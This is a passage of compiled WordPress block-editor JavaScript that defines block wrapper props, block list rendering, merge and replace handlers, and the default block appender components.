35071 if (set) {
35072 set.delete(node);
35073 restore(node);
35074 if (set.size === 0) {
35075 nodesByDocument.delete(doc);
35076 doc.removeEventListener("pointerdown", down);
35077 }
35078 }
35079}
35080function restore(node) {
35081 const prevDraggable = node.getAttribute("data-draggable");
35082 if (prevDraggable) {
35083 node.removeAttribute("data-draggable");
35084 if (prevDraggable === "true" && !node.getAttribute("draggable")) {
35085 node.setAttribute("draggable", "true");
35086 }
35087 }
35088}
35089function down(event) {
35090 const { target } = event;
35091 const { ownerDocument, isContentEditable, tagName } = target;
35092 const isInputOrTextArea = ["INPUT", "TEXTAREA"].includes(tagName);
35093 const nodes = nodesByDocument.get(ownerDocument);
35094 if (isContentEditable || isInputOrTextArea) {
35095 for (const node of nodes) {
35096 if (node.getAttribute("draggable") === "true" && node.contains(target)) {
35097 node.removeAttribute("draggable");
35098 node.setAttribute("data-draggable", "true");
35099 }
35100 }
35101 } else {
35102 for (const node of nodes) {
35103 restore(node);
35104 }
35105 }
35106}
35107function useFirefoxDraggableCompatibility() {
35108 return (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
35109 add(node.ownerDocument, node);
35110 return () => {
35111 remove(node.ownerDocument, node);
35112 };
35113 }, []);
35114}
35115
35116
35117;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/index.js
35118
35119
35120
35121
35122
35123
35124
35125
35126
35127
35128
35129
35130
35131
35132
35133
35134
35135
35136function use_block_props_useBlockProps(props = {}, { __unstableIsHtml } = {}) {
35137 const {
35138 clientId,
35139 className,
35140 wrapperProps = {},
35141 isAligned,
35142 index,
35143 mode,
35144 name,
35145 blockApiVersion,
35146 blockTitle,
35147 isSelected,
35148 isSubtreeDisabled,
35149 hasOverlay,
35150 initialPosition,
35151 blockEditingMode,
35152 isHighlighted,
35153 isMultiSelected,
35154 isPartiallySelected,
35155 isReusable,
35156 isDragging,
35157 hasChildSelected,
35158 isEditingDisabled,
35159 hasEditableOutline,
35160 isTemporarilyEditingAsBlocks,
35161 defaultClassName,
35162 isSectionBlock,
35163 canMove,
35164 isBlockHidden
35165 } = (0,external_wp_element_namespaceObject.useContext)(PrivateBlockContext);
35166 const blockLabel = (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Block: %s"), blockTitle);
35167 const htmlSuffix = mode === "html" && !__unstableIsHtml ? "-visual" : "";
35168 const ffDragRef = useFirefoxDraggableCompatibility();
35169 const mergedRefs = (0,external_wp_compose_namespaceObject.useMergeRefs)([
35170 props.ref,
35171 useFocusFirstElement({ clientId, initialPosition }),
35172 useBlockRefProvider(clientId),
35173 useFocusHandler(clientId),
35174 useEventHandlers({ clientId, isSelected }),
35175 useIsHovered(),
35176 useIntersectionObserver(),
35177 use_moving_animation_default({ triggerAnimationOnChange: index, clientId }),
35178 (0,external_wp_compose_namespaceObject.useDisabled)({ isDisabled: !hasOverlay }),
35179 useFlashEditableBlocks({
35180 clientId,
35181 isEnabled: isSectionBlock
35182 }),
35183 useScrollIntoView({ isSelected }),
35184 canMove ? ffDragRef : void 0
35185 ]);
35186 const blockEditContext = useBlockEditContext();
35187 const hasBlockBindings = !!blockEditContext[blockBindingsKey];
35188 const bindingsStyle = hasBlockBindings ? {
35189 "--wp-admin-theme-color": "var(--wp-block-synced-color)",
35190 "--wp-admin-theme-color--rgb": "var(--wp-block-synced-color--rgb)"
35191 } : {};
35192 if (blockApiVersion < 2 && clientId === blockEditContext.clientId) {
35193 external_wp_warning_default()(
35194 `Block type "${name}" must support API version 2 or higher to work correctly with "useBlockProps" method.`
35195 );
35196 }
35197 let hasNegativeMargin = false;
35198 if (wrapperProps?.style?.marginTop?.charAt(0) === "-" || wrapperProps?.style?.marginBottom?.charAt(0) === "-" || wrapperProps?.style?.marginLeft?.charAt(0) === "-" || wrapperProps?.style?.marginRight?.charAt(0) === "-") {
35199 hasNegativeMargin = true;
35200 }
35201 return {
35202 tabIndex: blockEditingMode === "disabled" ? -1 : 0,
35203 draggable: canMove && !hasChildSelected ? true : void 0,
35204 ...wrapperProps,
35205 ...props,
35206 ref: mergedRefs,
35207 id: `block-${clientId}${htmlSuffix}`,
35208 role: "document",
35209 "aria-label": blockLabel,
35210 "data-block": clientId,
35211 "data-type": name,
35212 "data-title": blockTitle,
35213 inert: isSubtreeDisabled ? "true" : void 0,
35214 className: dist_clsx(
35215 "block-editor-block-list__block",
35216 {
35217 // The wp-block className is important for editor styles.
35218 "wp-block": !isAligned,
35219 "has-block-overlay": hasOverlay,
35220 "is-selected": isSelected,
35221 "is-highlighted": isHighlighted,
35222 "is-multi-selected": isMultiSelected,
35223 "is-partially-selected": isPartiallySelected,
35224 "is-reusable": isReusable,
35225 "is-dragging": isDragging,
35226 "has-child-selected": hasChildSelected,
35227 "is-editing-disabled": isEditingDisabled,
35228 "has-editable-outline": hasEditableOutline,
35229 "has-negative-margin": hasNegativeMargin,
35230 "is-content-locked-temporarily-editing-as-blocks": isTemporarilyEditingAsBlocks,
35231 "is-block-hidden": isBlockHidden
35232 },
35233 className,
35234 props.className,
35235 wrapperProps.className,
35236 defaultClassName
35237 ),
35238 style: { ...wrapperProps.style, ...props.style, ...bindingsStyle }
35239 };
35240}
35241use_block_props_useBlockProps.save = external_wp_blocks_namespaceObject.__unstableGetBlockProps;
35242
35243
35244;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/block.js
35245
35246
35247
35248
35249
35250
35251
35252
35253
35254
35255
35256
35257
35258
35259
35260
35261
35262
35263function mergeWrapperProps(propsA, propsB) {
35264 const newProps = {
35265 ...propsA,
35266 ...propsB
35267 };
35268 if (propsA?.hasOwnProperty("className") && propsB?.hasOwnProperty("className")) {
35269 newProps.className = dist_clsx(propsA.className, propsB.className);
35270 }
35271 if (propsA?.hasOwnProperty("style") && propsB?.hasOwnProperty("style")) {
35272 newProps.style = { ...propsA.style, ...propsB.style };
35273 }
35274 return newProps;
35275}
35276function Block({ children, isHtml, ...props }) {
35277 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...use_block_props_useBlockProps(props, { __unstableIsHtml: isHtml }), children });
35278}
35279function BlockListBlock({
35280 block: { __unstableBlockSource },
35281 mode,
35282 isLocked,
35283 canRemove,
35284 clientId,
35285 isSelected,
35286 isSelectionEnabled,
35287 className,
35288 __unstableLayoutClassNames: layoutClassNames,
35289 name,
35290 isValid,
35291 attributes,
35292 wrapperProps,
35293 setAttributes,
35294 onReplace,
35295 onRemove,
35296 onInsertBlocksAfter,
35297 onMerge,
35298 toggleSelection
35299}) {
35300 const {
35301 mayDisplayControls,
35302 mayDisplayParentControls,
35303 themeSupportsLayout,
35304 ...context
35305 } = (0,external_wp_element_namespaceObject.useContext)(PrivateBlockContext);
35306 const parentLayout = useLayout() || {};
35307 let blockEdit = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35308 BlockEdit,
35309 {
35310 name,
35311 isSelected,
35312 attributes,
35313 setAttributes,
35314 insertBlocksAfter: isLocked ? void 0 : onInsertBlocksAfter,
35315 onReplace: canRemove ? onReplace : void 0,
35316 onRemove: canRemove ? onRemove : void 0,
35317 mergeBlocks: canRemove ? onMerge : void 0,
35318 clientId,
35319 isSelectionEnabled,
35320 toggleSelection,
35321 __unstableLayoutClassNames: layoutClassNames,
35322 __unstableParentLayout: Object.keys(parentLayout).length ? parentLayout : void 0,
35323 mayDisplayControls,
35324 mayDisplayParentControls,
35325 blockEditingMode: context.blockEditingMode,
35326 isPreviewMode: context.isPreviewMode
35327 }
35328 );
35329 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(name);
35330 if (blockType?.getEditWrapperProps) {
35331 wrapperProps = mergeWrapperProps(
35332 wrapperProps,
35333 blockType.getEditWrapperProps(attributes)
35334 );
35335 }
35336 const isAligned = wrapperProps && !!wrapperProps["data-align"] && !themeSupportsLayout;
35337 const isSticky = className?.includes("is-position-sticky");
35338 if (isAligned) {
35339 blockEdit = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35340 "div",
35341 {
35342 className: dist_clsx("wp-block", isSticky && className),
35343 "data-align": wrapperProps["data-align"],
35344 children: blockEdit
35345 }
35346 );
35347 }
35348 let block;
35349 if (!isValid) {
35350 const saveContent = __unstableBlockSource ? (0,external_wp_blocks_namespaceObject.serializeRawBlock)(__unstableBlockSource) : (0,external_wp_blocks_namespaceObject.getSaveContent)(blockType, attributes);
35351 block = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Block, { className: "has-warning", children: [
35352 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockInvalidWarning, { clientId }),
35353 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: (0,external_wp_dom_namespaceObject.safeHTML)(saveContent) })
35354 ] });
35355 } else if (mode === "html") {
35356 block = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
35357 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { display: "none" }, children: blockEdit }),
35358 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Block, { isHtml: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_html_default, { clientId }) })
35359 ] });
35360 } else if (blockType?.apiVersion > 1) {
35361 block = blockEdit;
35362 } else {
35363 block = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Block, { children: blockEdit });
35364 }
35365 const { "data-align": dataAlign, ...restWrapperProps } = wrapperProps ?? {};
35366 const updatedWrapperProps = {
35367 ...restWrapperProps,
35368 className: dist_clsx(
35369 restWrapperProps.className,
35370 dataAlign && themeSupportsLayout && `align${dataAlign}`,
35371 !(dataAlign && isSticky) && className
35372 )
35373 };
35374 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35375 PrivateBlockContext.Provider,
35376 {
35377 value: {
35378 wrapperProps: updatedWrapperProps,
35379 isAligned,
35380 ...context
35381 },
35382 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35383 block_crash_boundary_default,
35384 {
35385 fallback: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Block, { className: "has-warning", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_crash_warning_default, {}) }),
35386 children: block
35387 }
35388 )
35389 }
35390 );
35391}
35392const applyWithDispatch = (0,external_wp_data_namespaceObject.withDispatch)((dispatch, ownProps, registry) => {
35393 const {
35394 updateBlockAttributes,
35395 insertBlocks,
35396 mergeBlocks,
35397 replaceBlocks,
35398 toggleSelection,
35399 __unstableMarkLastChangeAsPersistent,
35400 moveBlocksToPosition,
35401 removeBlock,
35402 selectBlock
35403 } = dispatch(store);
35404 return {
35405 setAttributes(nextAttributes) {
35406 const { getMultiSelectedBlockClientIds } = registry.select(store);
35407 const multiSelectedBlockClientIds = getMultiSelectedBlockClientIds();
35408 const { clientId, attributes } = ownProps;
35409 const clientIds = multiSelectedBlockClientIds.length ? multiSelectedBlockClientIds : [clientId];
35410 const newAttributes = typeof nextAttributes === "function" ? nextAttributes(attributes) : nextAttributes;
35411 updateBlockAttributes(clientIds, newAttributes);
35412 },
35413 onInsertBlocks(blocks, index) {
35414 const { rootClientId } = ownProps;
35415 insertBlocks(blocks, index, rootClientId);
35416 },
35417 onInsertBlocksAfter(blocks) {
35418 const { clientId, rootClientId } = ownProps;
35419 const { getBlockIndex } = registry.select(store);
35420 const index = getBlockIndex(clientId);
35421 insertBlocks(blocks, index + 1, rootClientId);
35422 },
35423 onMerge(forward) {
35424 const { clientId, rootClientId } = ownProps;
35425 const {
35426 getPreviousBlockClientId,
35427 getNextBlockClientId,
35428 getBlock,
35429 getBlockAttributes,
35430 getBlockName,
35431 getBlockOrder,
35432 getBlockIndex,
35433 getBlockRootClientId,
35434 canInsertBlockType
35435 } = registry.select(store);
35436 function switchToDefaultOrRemove() {
35437 const block = getBlock(clientId);
35438 const defaultBlockName = (0,external_wp_blocks_namespaceObject.getDefaultBlockName)();
35439 const defaultBlockType = (0,external_wp_blocks_namespaceObject.getBlockType)(defaultBlockName);
35440 if (getBlockName(clientId) !== defaultBlockName) {
35441 const replacement = (0,external_wp_blocks_namespaceObject.switchToBlockType)(
35442 block,
35443 defaultBlockName
35444 );
35445 if (replacement && replacement.length) {
35446 replaceBlocks(clientId, replacement);
35447 }
35448 } else if ((0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(block)) {
35449 const nextBlockClientId = getNextBlockClientId(clientId);
35450 if (nextBlockClientId) {
35451 registry.batch(() => {
35452 removeBlock(clientId);
35453 selectBlock(nextBlockClientId);
35454 });
35455 }
35456 } else if (defaultBlockType.merge) {
35457 const attributes = defaultBlockType.merge(
35458 {},
35459 block.attributes
35460 );
35461 replaceBlocks(
35462 [clientId],
35463 [(0,external_wp_blocks_namespaceObject.createBlock)(defaultBlockName, attributes)]
35464 );
35465 }
35466 }
35467 function moveFirstItemUp(_clientId, changeSelection = true) {
35468 const wrapperBlockName = getBlockName(_clientId);
35469 const wrapperBlockType = (0,external_wp_blocks_namespaceObject.getBlockType)(wrapperBlockName);
35470 const isTextualWrapper = wrapperBlockType.category === "text";
35471 const targetRootClientId = getBlockRootClientId(_clientId);
35472 const blockOrder = getBlockOrder(_clientId);
35473 const [firstClientId] = blockOrder;
35474 if (blockOrder.length === 1 && (0,external_wp_blocks_namespaceObject.isUnmodifiedBlock)(getBlock(firstClientId))) {
35475 removeBlock(_clientId);
35476 } else if (isTextualWrapper) {
35477 registry.batch(() => {
35478 if (canInsertBlockType(
35479 getBlockName(firstClientId),
35480 targetRootClientId
35481 )) {
35482 moveBlocksToPosition(
35483 [firstClientId],
35484 _clientId,
35485 targetRootClientId,
35486 getBlockIndex(_clientId)
35487 );
35488 } else {
35489 const replacement = (0,external_wp_blocks_namespaceObject.switchToBlockType)(
35490 getBlock(firstClientId),
35491 (0,external_wp_blocks_namespaceObject.getDefaultBlockName)()
35492 );
35493 if (replacement && replacement.length && replacement.every(
35494 (block) => canInsertBlockType(
35495 block.name,
35496 targetRootClientId
35497 )
35498 )) {
35499 insertBlocks(
35500 replacement,
35501 getBlockIndex(_clientId),
35502 targetRootClientId,
35503 changeSelection
35504 );
35505 removeBlock(firstClientId, false);
35506 } else {
35507 switchToDefaultOrRemove();
35508 }
35509 }
35510 if (!getBlockOrder(_clientId).length && (0,external_wp_blocks_namespaceObject.isUnmodifiedBlock)(getBlock(_clientId))) {
35511 removeBlock(_clientId, false);
35512 }
35513 });
35514 } else {
35515 switchToDefaultOrRemove();
35516 }
35517 }
35518 if (forward) {
35519 if (rootClientId) {
35520 const nextRootClientId = getNextBlockClientId(rootClientId);
35521 if (nextRootClientId) {
35522 if (getBlockName(rootClientId) === getBlockName(nextRootClientId)) {
35523 const rootAttributes = getBlockAttributes(rootClientId);
35524 const previousRootAttributes = getBlockAttributes(nextRootClientId);
35525 if (Object.keys(rootAttributes).every(
35526 (key) => rootAttributes[key] === previousRootAttributes[key]
35527 )) {
35528 registry.batch(() => {
35529 moveBlocksToPosition(
35530 getBlockOrder(nextRootClientId),
35531 nextRootClientId,
35532 rootClientId
35533 );
35534 removeBlock(nextRootClientId, false);
35535 });
35536 return;
35537 }
35538 } else {
35539 mergeBlocks(rootClientId, nextRootClientId);
35540 return;
35541 }
35542 }
35543 }
35544 const nextBlockClientId = getNextBlockClientId(clientId);
35545 if (!nextBlockClientId) {
35546 return;
35547 }
35548 if (getBlockOrder(nextBlockClientId).length) {
35549 moveFirstItemUp(nextBlockClientId, false);
35550 } else {
35551 mergeBlocks(clientId, nextBlockClientId);
35552 }
35553 } else {
35554 const previousBlockClientId = getPreviousBlockClientId(clientId);
35555 if (previousBlockClientId) {
35556 mergeBlocks(previousBlockClientId, clientId);
35557 } else if (rootClientId) {
35558 const previousRootClientId = getPreviousBlockClientId(rootClientId);
35559 if (previousRootClientId && getBlockName(rootClientId) === getBlockName(previousRootClientId)) {
35560 const rootAttributes = getBlockAttributes(rootClientId);
35561 const previousRootAttributes = getBlockAttributes(previousRootClientId);
35562 if (Object.keys(rootAttributes).every(
35563 (key) => rootAttributes[key] === previousRootAttributes[key]
35564 )) {
35565 registry.batch(() => {
35566 moveBlocksToPosition(
35567 getBlockOrder(rootClientId),
35568 rootClientId,
35569 previousRootClientId
35570 );
35571 removeBlock(rootClientId, false);
35572 });
35573 return;
35574 }
35575 }
35576 moveFirstItemUp(rootClientId);
35577 } else {
35578 switchToDefaultOrRemove();
35579 }
35580 }
35581 },
35582 onReplace(blocks, indexToSelect, initialPosition) {
35583 if (blocks.length && !(0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(blocks[blocks.length - 1])) {
35584 __unstableMarkLastChangeAsPersistent();
35585 }
35586 const replacementBlocks = blocks?.length === 1 && Array.isArray(blocks[0]) ? blocks[0] : blocks;
35587 replaceBlocks(
35588 [ownProps.clientId],
35589 replacementBlocks,
35590 indexToSelect,
35591 initialPosition
35592 );
35593 },
35594 onRemove() {
35595 removeBlock(ownProps.clientId);
35596 },
35597 toggleSelection(selectionEnabled) {
35598 toggleSelection(selectionEnabled);
35599 }
35600 };
35601});
35602BlockListBlock = (0,external_wp_compose_namespaceObject.compose)(
35603 applyWithDispatch,
35604 (0,external_wp_components_namespaceObject.withFilters)("editor.BlockListBlock")
35605)(BlockListBlock);
35606function BlockListBlockProvider(props) {
35607 const { clientId, rootClientId } = props;
35608 const selectedProps = (0,external_wp_data_namespaceObject.useSelect)(
35609 (select) => {
35610 const {
35611 isBlockSelected,
35612 getBlockMode,
35613 isSelectionEnabled: isSelectionEnabled2,
35614 getTemplateLock,
35615 isSectionBlock: _isSectionBlock,
35616 getBlockWithoutAttributes,
35617 getBlockAttributes,
35618 canRemoveBlock,
35619 canMoveBlock,
35620 getSettings,
35621 getTemporarilyEditingAsBlocks,
35622 getBlockEditingMode,
35623 getBlockName,
35624 isFirstMultiSelectedBlock,
35625 getMultiSelectedBlockClientIds,
35626 hasSelectedInnerBlock,
35627 getBlocksByName,
35628 getBlockIndex,
35629 isBlockMultiSelected,
35630 isBlockSubtreeDisabled,
35631 isBlockHighlighted,
35632 __unstableIsFullySelected,
35633 __unstableSelectionHasUnmergeableBlock,
35634 isBlockBeingDragged,
35635 isDragging: isDragging2,
35636 __unstableHasActiveBlockOverlayActive,
35637 getSelectedBlocksInitialCaretPosition
35638 } = unlock(select(store));
35639 const blockWithoutAttributes2 = getBlockWithoutAttributes(clientId);
35640 if (!blockWithoutAttributes2) {
35641 return;
35642 }
35643 const {
35644 hasBlockSupport: _hasBlockSupport,
35645 getActiveBlockVariation
35646 } = select(external_wp_blocks_namespaceObject.store);
35647 const attributes2 = getBlockAttributes(clientId);
35648 const { name: blockName, isValid: isValid2 } = blockWithoutAttributes2;
35649 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName);
35650 const {
35651 supportsLayout,
35652 isPreviewMode: isPreviewMode2,
35653 __experimentalBlockBindingsSupportedAttributes
35654 } = getSettings();
35655 const bindableAttributes2 = __experimentalBlockBindingsSupportedAttributes?.[blockName];
35656 const hasLightBlockWrapper = blockType?.apiVersion > 1;
35657 const previewContext = {
35658 isPreviewMode: isPreviewMode2,
35659 blockWithoutAttributes: blockWithoutAttributes2,
35660 name: blockName,
35661 attributes: attributes2,
35662 isValid: isValid2,
35663 themeSupportsLayout: supportsLayout,
35664 index: getBlockIndex(clientId),
35665 isReusable: (0,external_wp_blocks_namespaceObject.isReusableBlock)(blockType),
35666 className: hasLightBlockWrapper ? attributes2.className : void 0,
35667 defaultClassName: hasLightBlockWrapper ? (0,external_wp_blocks_namespaceObject.getBlockDefaultClassName)(blockName) : void 0,
35668 blockTitle: blockType?.title,
35669 isBlockHidden: attributes2?.metadata?.blockVisibility === false,
35670 bindableAttributes: bindableAttributes2
35671 };
35672 if (isPreviewMode2) {
35673 return previewContext;
35674 }
35675 const { isBlockHidden: _isBlockHidden } = unlock(
35676 select(store)
35677 );
35678 const _isSelected = isBlockSelected(clientId);
35679 const canRemove2 = canRemoveBlock(clientId);
35680 const canMove2 = canMoveBlock(clientId);
35681 const match = getActiveBlockVariation(blockName, attributes2);
35682 const isMultiSelected2 = isBlockMultiSelected(clientId);
35683 const checkDeep = true;
35684 const isAncestorOfSelectedBlock = hasSelectedInnerBlock(
35685 clientId,
35686 checkDeep
35687 );
35688 const blockEditingMode2 = getBlockEditingMode(clientId);
35689 const multiple = (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockName, "multiple", true);
35690 const blocksWithSameName = multiple ? [] : getBlocksByName(blockName);
35691 const isInvalid = blocksWithSameName.length && blocksWithSameName[0] !== clientId;
35692 return {
35693 ...previewContext,
35694 mode: getBlockMode(clientId),
35695 isSelectionEnabled: isSelectionEnabled2(),
35696 isLocked: !!getTemplateLock(rootClientId),
35697 isSectionBlock: _isSectionBlock(clientId),
35698 canRemove: canRemove2,
35699 canMove: canMove2,
35700 isSelected: _isSelected,
35701 isTemporarilyEditingAsBlocks: getTemporarilyEditingAsBlocks() === clientId,
35702 blockEditingMode: blockEditingMode2,
35703 mayDisplayControls: _isSelected || isFirstMultiSelectedBlock(clientId) && getMultiSelectedBlockClientIds().every(
35704 (id) => getBlockName(id) === blockName
35705 ),
35706 mayDisplayParentControls: _hasBlockSupport(
35707 getBlockName(clientId),
35708 "__experimentalExposeControlsToChildren",
35709 false
35710 ) && hasSelectedInnerBlock(clientId),
35711 blockApiVersion: blockType?.apiVersion || 1,
35712 blockTitle: match?.title || blockType?.title,
35713 isSubtreeDisabled: blockEditingMode2 === "disabled" && isBlockSubtreeDisabled(clientId),
35714 hasOverlay: __unstableHasActiveBlockOverlayActive(clientId) && !isDragging2(),
35715 initialPosition: _isSelected ? getSelectedBlocksInitialCaretPosition() : void 0,
35716 isHighlighted: isBlockHighlighted(clientId),
35717 isMultiSelected: isMultiSelected2,
35718 isPartiallySelected: isMultiSelected2 && !__unstableIsFullySelected() && !__unstableSelectionHasUnmergeableBlock(),
35719 isDragging: isBlockBeingDragged(clientId),
35720 hasChildSelected: isAncestorOfSelectedBlock,
35721 isEditingDisabled: blockEditingMode2 === "disabled",
35722 hasEditableOutline: blockEditingMode2 !== "disabled" && getBlockEditingMode(rootClientId) === "disabled",
35723 originalBlockClientId: isInvalid ? blocksWithSameName[0] : false,
35724 isBlockHidden: _isBlockHidden(clientId)
35725 };
35726 },
35727 [clientId, rootClientId]
35728 );
35729 const {
35730 isPreviewMode,
35731 // Fill values that end up as a public API and may not be defined in
35732 // preview mode.
35733 mode = "visual",
35734 isSelectionEnabled = false,
35735 isLocked = false,
35736 canRemove = false,
35737 canMove = false,
35738 blockWithoutAttributes,
35739 name,
35740 attributes,
35741 isValid,
35742 isSelected = false,
35743 themeSupportsLayout,
35744 isTemporarilyEditingAsBlocks,
35745 blockEditingMode,
35746 mayDisplayControls,
35747 mayDisplayParentControls,
35748 index,
35749 blockApiVersion,
35750 blockTitle,
35751 isSubtreeDisabled,
35752 hasOverlay,
35753 initialPosition,
35754 isHighlighted,
35755 isMultiSelected,
35756 isPartiallySelected,
35757 isReusable,
35758 isDragging,
35759 hasChildSelected,
35760 isSectionBlock,
35761 isEditingDisabled,
35762 hasEditableOutline,
35763 className,
35764 defaultClassName,
35765 originalBlockClientId,
35766 isBlockHidden,
35767 bindableAttributes
35768 } = selectedProps;
35769 const block = (0,external_wp_element_namespaceObject.useMemo)(
35770 () => ({ ...blockWithoutAttributes, attributes }),
35771 [blockWithoutAttributes, attributes]
35772 );
35773 if (!selectedProps) {
35774 return null;
35775 }
35776 const privateContext = {
35777 isPreviewMode,
35778 clientId,
35779 className,
35780 index,
35781 mode,
35782 name,
35783 blockApiVersion,
35784 blockTitle,
35785 isSelected,
35786 isSubtreeDisabled,
35787 hasOverlay,
35788 initialPosition,
35789 blockEditingMode,
35790 isHighlighted,
35791 isMultiSelected,
35792 isPartiallySelected,
35793 isReusable,
35794 isDragging,
35795 hasChildSelected,
35796 isSectionBlock,
35797 isEditingDisabled,
35798 hasEditableOutline,
35799 isTemporarilyEditingAsBlocks,
35800 defaultClassName,
35801 mayDisplayControls,
35802 mayDisplayParentControls,
35803 originalBlockClientId,
35804 themeSupportsLayout,
35805 canMove,
35806 isBlockHidden,
35807 bindableAttributes
35808 };
35809 if (isBlockHidden && !isSelected && !isMultiSelected && !hasChildSelected) {
35810 return null;
35811 }
35812 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateBlockContext.Provider, { value: privateContext, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35813 BlockListBlock,
35814 {
35815 ...props,
35816 ...{
35817 mode,
35818 isSelectionEnabled,
35819 isLocked,
35820 canRemove,
35821 canMove,
35822 // Users of the editor.BlockListBlock filter used to be able
35823 // to access the block prop. Ideally these blocks would rely
35824 // on the clientId prop only. This is kept for backward
35825 // compatibility reasons.
35826 block,
35827 name,
35828 attributes,
35829 isValid,
35830 isSelected
35831 }
35832 }
35833 ) });
35834}
35835var block_default = (0,external_wp_element_namespaceObject.memo)(BlockListBlockProvider);
35836
35837
35838;// external ["wp","htmlEntities"]
35839const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
35840;// ./node_modules/@wordpress/block-editor/build-module/components/default-block-appender/index.js
35841
35842
35843
35844
35845
35846
35847
35848
35849const ZWNBSP = "\uFEFF";
35850function DefaultBlockAppender({ rootClientId }) {
35851 const { showPrompt, isLocked, placeholder, isManualGrid } = (0,external_wp_data_namespaceObject.useSelect)(
35852 (select) => {
35853 const {
35854 getBlockCount,
35855 getSettings,
35856 getTemplateLock,
35857 getBlockAttributes
35858 } = select(store);
35859 const isEmpty = !getBlockCount(rootClientId);
35860 const { bodyPlaceholder } = getSettings();
35861 return {
35862 showPrompt: isEmpty,
35863 isLocked: !!getTemplateLock(rootClientId),
35864 placeholder: bodyPlaceholder,
35865 isManualGrid: getBlockAttributes(rootClientId)?.layout?.isManualPlacement
35866 };
35867 },
35868 [rootClientId]
35869 );
35870 const { insertDefaultBlock, startTyping } = (0,external_wp_data_namespaceObject.useDispatch)(store);
35871 if (isLocked || isManualGrid) {
35872 return null;
35873 }
35874 const value = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(placeholder) || (0,external_wp_i18n_namespaceObject.__)("Type / to choose a block");
35875 const onAppend = () => {
35876 insertDefaultBlock(void 0, rootClientId);
35877 startTyping();
35878 };
35879 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
35880 "div",
35881 {
35882 "data-root-client-id": rootClientId || "",
35883 className: dist_clsx("block-editor-default-block-appender", {
35884 "has-visible-prompt": showPrompt
35885 }),
35886 children: [
35887 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35888 "p",
35889 {
35890 tabIndex: "0",
35891 role: "button",
35892 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Add default block"),
35893 className: "block-editor-default-block-appender__content",
35894 onKeyDown: (event) => {
35895 if (external_wp_keycodes_namespaceObject.ENTER === event.keyCode || external_wp_keycodes_namespaceObject.SPACE === event.keyCode) {
35896 onAppend();
35897 }
35898 },
35899 onClick: () => onAppend(),
35900 onFocus: () => {
35901 if (showPrompt) {
35902 onAppend();
35903 }
35904 },
35905 children: showPrompt ? value : ZWNBSP
35906 }
35907 ),
35908 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35909 inserter_default,
35910 {
35911 rootClientId,
35912 position: "bottom right",
35913 isAppender: true,
35914 __experimentalIsQuick: true
35915 }
35916 )
35917 ]
35918 }
35919 );
35920}
35921
35922
35923;// ./node_modules/@wordpress/block-editor/build-module/components/block-list-appender/index.js
35924
35925
35926
35927
35928
35929
35930
35931function DefaultAppender({ rootClientId }) {
35932 const canInsertDefaultBlock = (0,external_wp_data_namespaceObject.useSelect)(
35933 (select) => select(store).canInsertBlockType(
35934 (0,external_wp_blocks_namespaceObject.getDefaultBlockName)(),
35935 rootClientId
35936 )
35937 );
35938 if (canInsertDefaultBlock) {
35939 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DefaultBlockAppender, { rootClientId });
35940 }
35941 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35942 button_block_appender_default,
35943 {
35944 rootClientId,
35945 className: "block-list-appender__toggle"
35946 }
35947 );
35948}
35949function BlockListAppender({
35950 rootClientId,
35951 CustomAppender,
35952 className,
35953 tagName: TagName = "div"
35954}) {
35955 const isDragOver = (0,external_wp_data_namespaceObject.useSelect)(
35956 (select) => {
35957 const {
35958 getBlockInsertionPoint,
35959 isBlockInsertionPointVisible,
35960 getBlockCount
35961 } = select(store);
35962 const insertionPoint = getBlockInsertionPoint();
35963 return isBlockInsertionPointVisible() && rootClientId === insertionPoint?.rootClientId && getBlockCount(rootClientId) === 0;
35964 },
35965 [rootClientId]
35966 );
35967 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35968 TagName,
35969 {
35970 tabIndex: -1,
35971 className: dist_clsx("block-list-appender wp-block", className, {
35972 "is-drag-over": isDragOver
35973 }),
35974 contentEditable: false,
35975 "data-block": true,
